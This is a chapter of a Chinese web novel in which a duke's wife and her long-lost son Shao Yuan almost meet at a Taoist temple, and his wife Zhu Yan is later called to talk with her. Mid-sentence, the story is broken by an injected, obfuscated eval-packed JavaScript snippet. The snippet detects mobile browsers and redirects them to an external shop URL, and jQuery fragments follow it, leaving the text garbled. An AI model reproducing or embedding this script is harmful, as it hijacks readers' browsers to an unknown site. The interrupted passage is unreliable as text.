176. 第一百七十六章

作品:《农家娘子改造日记

    四月,草木春生,三清观中树木荫郁,正殿两侧百年槐树遮天蔽日,香火袅绕飘至上空,时不时有道人在中行走说话,却都低声细语,从容自在。


    殿前数层阶梯前,有两架宽檐马车远处驶来,正在阶前停稳。


    后车的马夫刚拉紧缰绳,跟着马车行走的小厮已将脚凳抽下来摆好,婢女先下,而后从车上下来一锦袍青年,下车后他也不急着走,反倒回身代替婢女,伸手接了妻子下车。


    夫妻二人感情笃好,相视一笑,齐齐去往前车迎候。


    那中年妇人穿着藕荷色缎面衣裙,很是素雅,发髻梳得光洁,眼角唇边有细纹,可却掩饰不了年轻时候的风采与容颜。


    “说了不让你们来,你们偏要来。”妇人笑道。


    小夫妻两个一左一右伴着妇人走上石阶,青年道:“母亲难得愿意出门,我们陪着您又怎么了,只要您开怀我们怎么着都成。”


    “说的是,以后母亲也要多多出门走动才是,我们呀,不嫌烦。”


    妇人就笑:“你们两个,真是嘴上抹蜜了。”


    三人都笑起来,走上大殿前。


    观主与她熟稔,早就被小道士通报,闻讯而来:“国公夫人,此回可是来送上回您抄的往生经?”


    青年诧异:“母亲抄了往生经?要供给谁?”


    妇人眼神一闪。


    此前只当麟儿早已去世,因而每年她都到三清观上香供往生经。当下她选择避而不答:“先进去吧。”


    几人被观主迎了进去,此时在三清侧殿的银杏树下,邵远带着灵姐和祁越正在捡叶子玩。


    朱颜看了一眼进去的几人,心里有点踌躇。


    按照约定,他们这会该去后院鱼池那里的客舍了。


    可看到本不该出现的定国公世子夫妻,比起邵远,朱颜更加心里焦灼。


    她还是决定将选择权给他自己,于是借口去后院看鱼,几人一路过去,朱颜趁着两个孩子在前面玩,与他说了情形:“……你可以选择!我都支持!”


    邵远没吭声。


    一路过去并无人看见,快到鱼池时,朱颜拉住了两个孩子,说旁边还有个更好玩的,顺势打眼色示意邵远独自去。


    静明会在拐角处等他。


    邵远过去,果然见静明在拐角处的屋檐下,从这里过去都能看到客舍半开的窗户,里头的情形和声音也都能听见一二。


    越走近,里头的笑声越明显。


    静明道:“我们先在这等一等,世子他们待会去三清殿上香,您就能进去。”


    原本只是单独见面,但不曾想世子夫妻孝顺,非要护送。


    只能如此,才能周全了。


    静明想着,待会等邵远进去,她就在从前殿往后的过道里等着,要是提前回来了,她也能借口拦一拦。


    正想着,却听里头的世子说话:“母亲早年受寒气,不良于行,爬山虽然有益却实在是对腿脚不适,以后母亲要是想登高望远,儿子可以背着您,我在军中几年早就不似小时候羸弱,母亲别小看我。”


    世子夫人也捧场附和:“是是是,小时候摔跤可是连我弟弟都不敌的人,现如今能和他过十几下,也算是你的进益了,也值得拿到母亲面前吹嘘。”却是一副打趣的口吻。


    然而,没听到国公夫人的笑声。


    世子夫妻似乎察觉到了国公夫人今日不同往常,又接连说了两件趣事企图让她开怀。


    可效果却是兴致了了。


    邵远心里一酸,瞥眼见方才还神色如常的静明满眼苦涩地看着世子夫妻离开的背影。


    没等细想,就听她说话了。


    “进去吧。”静明压下满心的酸楚,说。


    “我就不进去了。”邵远犹豫再三,最终摇头,恭敬与静明行了一礼,“或许只是个巧合,想想也是,我怎么可能是国公爷的后人?定然是弄错了。今日来是我糊涂,不该错上加错,还好没见,否则定让国公夫人失望。”


    静明愕然。


    “我这就和妻女离开,还望您不要与国公夫人细说我来过。”邵远再行一礼,转身就走。


    静明原地沉默了一会,才独自进了屋舍。


    国公夫人满眼期待,却在看到只她一人时瞬间黯淡下去,“他,他人呢?”


    静明恭敬见礼,却没回答,只说:“方才世子和世子夫人出去了。”


    就是说,他听到方才屋里的说话声了。


    国公夫人一怔,酸楚浮上心头:“他,他担心我?”竟然站了起来,“让他来见见我。”


    又赶紧往门口去,一面走一面道,“他在哪,我去见他好了!”全然没了勋爵夫人的矜贵。


    静明却只是摇摇头,拦住了她,“夫人,诚然他说的对,此时见面相认无一丝好处,若是让世子夫妻看到,他们该怎么想?”


    正要跨步出去的国公夫人顿时一僵,却是放弃了,走回椅子上沉默不语。


    静明深吸一口气,跪了下去:“夫人,是奴婢当年糊涂,提出了让我的儿子顶替世子的位置,如今世子就在观中,就在夫人身边,却因我的蠢念头害的你们无法相认,陷入两难之间——夫人,您责罚我吧!”


    她说完,深深俯拜下去。


    国公夫人依旧不语,两眼一翻,看着屋顶的梁木,一语不发。


    “我如何能怪你?”不知多久,国公夫人虚浮无力的声音才传来,“当时情况紧急,若不是需要世子以安老夫人的性命,又如何非要行此替换计?都是我的债,都是我的债!不怪你,这不能怪你!”


    “这么多年了,为了隐瞒此事,你自请去了庵堂清修,若要怪你,你也早就偿还了!”


    说到最后,却是越来越低,甚至低到听不见。


    “可现在世子却没法认祖归宗!”静明急急道。


    国公夫人却摇摇头:“看着汴京风平浪静,实则暗流涌动,派系斗争激烈,国公爷持中本就艰难,我万不能给他增添烦恼。若他真是我儿,我自可以其他方面补偿,只是世子之位绝不可动摇。”


    静明眼神复杂,心中万般滋味不知如何说,却只能按捺住千言万语,低低地回了声“是”。


    *


    看到这么快就出来的邵远,朱颜诧异:“你们说什么了,这么快?”


    按她的想象中,多年不见的亲母子,见面应该有很多话要说,尤其还是因人祸分离,国公夫人不知要多高兴,怎会舍得让他走。


    可邵远却摇摇头,闷着声音说:“我没去,也没见。”说完忐忑地看着朱颜,“我是不是很无用?”


    朱颜沉默片刻,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314549|185013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看了眼那边树下两个玩闹的小童,低声却温和道:“这不怪你,若换作是我,身世如此离奇,我也会一时难以接受。”


    夫妻二人相对无言,不知该走该留。


    好一会,静明从那处来:“朱娘子,夫人想见一见你,不知你可行个方便?”


    “要见我?”这下轮到朱颜吃惊了。


    “是,”静明望了望邵远,低声道,“朱娘子,夫人原本有些话是想同二郎说,但他如此,夫人不好强逼,不如你去一趟,若能解开这个结,两边都好。”


    朱颜还有些犹豫,谁知邵远主动开口:“颜娘,你替我去吧。”他看着朱颜,神情复杂,眼神恍惚,却带着一丝笑意,“我们夫妻一体,若有何事,你的意思就是我的意思,不必问我。”


    竟然是将选择权都交给了她。


    朱颜一时心里暗潮涌动,不知说什么好。


    去了客舍,听到里头传来说话声,静明示意她稍等:“世子和少夫人在里头。”


    朱颜默默跟在身后,片刻后才听里头的中年妇人说坐车劳累,要休息片刻,就见一对年轻夫妻携手出了客舍,去了后院,一副要游玩的模样。


    国公夫人打发走了儿子儿媳,立刻收起了方才的困倦模样,静等着外头的人进来。


    果然,他们才走,静明就叩门而入。


    国公夫人挥手示意屋里伺候的两个婢女:“你们都下去吧。”


    两名婢女目不斜视,退了出去,还带上了门。


    开着窗户,日光照进来,即便关着门,客舍里依旧宽敞明亮温暖,国公夫人这才抬眼打量跟着静明进来的那个小娘子。


    她身形纤秾得宜,通身穿着雪青素料做的裙与月白的衣,发髻乌黑整洁,两朵当下开得正好的嫩黄迎春别着,却不显黑,更觉得她眉眼标志,笑容可亲。


    尤其是说话行礼时,也很有章法,和自己想象中的不太一样。


    “民妇见过夫人。”她缓缓屈膝,对着自己行礼。


    国公夫人细细打量她,心底对她有了几分好感,示意她坐下说话。


    朱颜得示意,去到她右手下首处的凳子上坐着,听她的下文。


    等坐定了,朱颜才略抬眼端详国公夫人的容貌。


    国公夫人生得不算美人,甚至连美都算不上。


    可却生得眉浓带锋,眼明唇厚,坐在那处就如青松蒲草一般自有一股说不出的气质,有别于汴京寻常贵妇人的端谨温润。


    重要的是,除了五官的深浅度,以及男女体型上的差距,光看这份长相,乍一看,邵远和她简直有五六分相似!


    她终于知道,为何刚搬到玉仙庵时,静明就对自己一家过分关注,而且越相处越是格外宽厚,她只当是有缘,却没想到静明早就看出了点苗头。


    静明请她坐下后,此时已自发地站在国公夫人身侧,对于朱颜投过去了然的目光她全然不看,只略垂着眼睛。


    “听说你从前是在大户人家里做过丫鬟?”国公夫人几番斟酌,问道。


    朱颜点点头,并不以此经历为耻,收起心绪,反而从容一笑,答道:“回夫人,是真事。”


    令朱颜没想到的事,国公夫人并未多追问下去,也并未露出鄙夷嫌弃,反而沉默一瞬后,小心问道:“你,你们怎么成婚的?”